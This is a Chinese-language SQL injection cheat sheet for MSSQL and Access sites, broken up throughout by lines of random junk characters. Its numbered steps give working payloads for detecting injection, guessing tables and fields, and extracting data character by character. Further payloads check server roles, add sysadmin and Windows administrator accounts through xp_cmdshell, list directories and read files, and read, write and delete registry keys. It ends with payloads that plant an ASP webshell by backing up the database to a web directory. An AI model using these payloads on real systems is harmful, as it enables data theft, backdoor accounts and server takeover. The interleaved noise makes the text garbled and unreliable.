1.判断是否有注入;and 1=1 ;and 1=2 !Ua&0s%
2.初步判断是否是mssql ;and user>0 !0fI"3P@r
h[=nx^
3.注入参数是字符'and [查询条件] and ''=' LD55n%|0`H
d(L{!mm
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Q_}/ Pn$1
g#W_S?
5.判断数据库系统 3eg5oAZ)G8
\{PNw F?
;and (select count(*) from sysobjects)>0 mssql {j6g@Vd6lx
<TjBd1
;and (select count(*) from msysobjects)>0 access %2yAvGa1
D<nxr~pQ
2a[9h#
KU2$5[~j
6.猜数据库 ;and (select Count(*) from [数据库名])>0 |U=(b,
6An{3"
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Fp:3#Bh
}[,3yfiX
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 (2%>jg0M
K/Jk[29"\
9.(1)猜字段的ascii值(access) $Sb@zLi)
v>at/ef
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 *g$agyOfh
BE%Z\E[[m
(2)猜字段的ascii值(mssql) SOI)/u
X,Zd=
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Mdky^;qq3;
E$T(Qu<-
10.测试权限结构(mssql) KnFQ)sX^
qC.i6IL
T?e9eYwS
I{<;;;a
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- f+^c@0que
x3;jWg~'
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ux&:Rw\
uWrFunh%
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Zsk?QS FE
/h-6CR
Ka
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5m3'Gt4
gA"<MI'y
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- O3&|}:<
TnxU/)
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- neIy~H_#!
Vs|sw
;and 1=(select IS_MEMBER('db_owner'));-- :@WLGK*u.
*G9
[j$
`~|DoSi^d
Hz5;Ruw'
11.添加mssql和系统的帐户 [[&)cbv
-g<cinNSp
;exec master.dbo.sp_addlogin username;-- pr)K{~m]{<
;exec master.dbo.sp_password null,username,password;-- tNYJQ
-D;lS
6
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- LEA;dSf
8`DO[Z
;exec master.dbo.xp_cmdshell 'net user username password ^xmZ|f-
?U$}Rsk{#
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- uH0#rgKt
v=j>^FZ
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6,a%&1_
xdCs5ko
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- _>;&-e
)< l\jfx e
5nY9Ls(e
exsQmbj* %
12.(1)遍历目录 Ko]QCLL
Euqjxz
;create table dirs(paths varchar(100), id int) 9N<*S'Z
!+5C{Hs2
;insert dirs exec master.dbo.xp_dirtree 'c:\' 8g-P_[>
KU*`f{|
;and (select top 1 paths from dirs)>0 `B:B7Cpvn
5DmCxg
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) S!u6dz^[$X
ip<15;Z
}7-7t{G
4c
(2)遍历目录 |X,$?ZDap
Oi6f8*,
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- :
x>I-
3G
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 sg+ZQDF{x
{VS''Lv
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 pCz@(:0
^).WW
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Y]hV-_2+Do
F\o;t:
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 M' a&
,Le&I9*%
-08&&H
x%_qJ]o
13.mssql中的存储过程 : =
]sq}IN
W`w5jk'0^=
xp_regenumvalues 注册表根键, 子键 YgO aZqN
fG X1y
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ;% /6Y~/
c1pq]mz|z
xp_regread 根键,子键,键值名 7( yXsVq
Uuwq7oFub
;exec xp_regread )j{WeG7L
83{x"G3>
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 l,imT$u
Qw3a"k-
xp_regwrite 根键,子键, 值名, 值类型, 值 L@)b%Q@a
g4~X#}:z$O
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 kHt!S9r
${jA+L<J
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 f o/
D3
Sf+(1_^`t
xp_regdeletevalue 根键,子键,值名 bs<WH`P
J0IdFFZ|w
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 <Cf7E
5W?yj>JR
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 g\
8#:@at
30sC4}
j\XX:uU_
K$Mx}m7l
14.mssql的backup创建webshell c7FfI"7HR
W _PM!>8`
use model o1fyNzq<
sYAG,r>h
create table cmd(str image); hW0,5>[7%
v`z=OHc
insert into cmd(str) values (''); JL"
3#p}
k#8S`W8^
backup database model to disk='c:\l.asp'; +XU$GSw3(
%0ll4"
NDs]}5#
,wry u|7"$
15.mssql内置函数 |1_$!
p
'T&=$9g7
;and (select @@version)>0 获得Windows的版本号 [I+)Ak5
HKEop
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Mm>zpB`qP
hr~qt~Oi
;and (select user_name())>0 爆当前系统的连接用户 Ovl?j&8
oP|pOs\$p
;and (select db_name())>0 得到当前连接的数据库 4y]: Gqz~
+ e5
brYYuN|Vc
~n8*@9[
16.简洁的webshell Up/eV}C
2-cU -i4
use model \V"PmaP\
UgnsV*e &
create table cmd(str image); RAv RNd
JEm?26n X
insert into cmd(str) values (''); Zgy2Pot
<u x*r#a!d
backup database model to disk='g:\wwwtest\l.asp';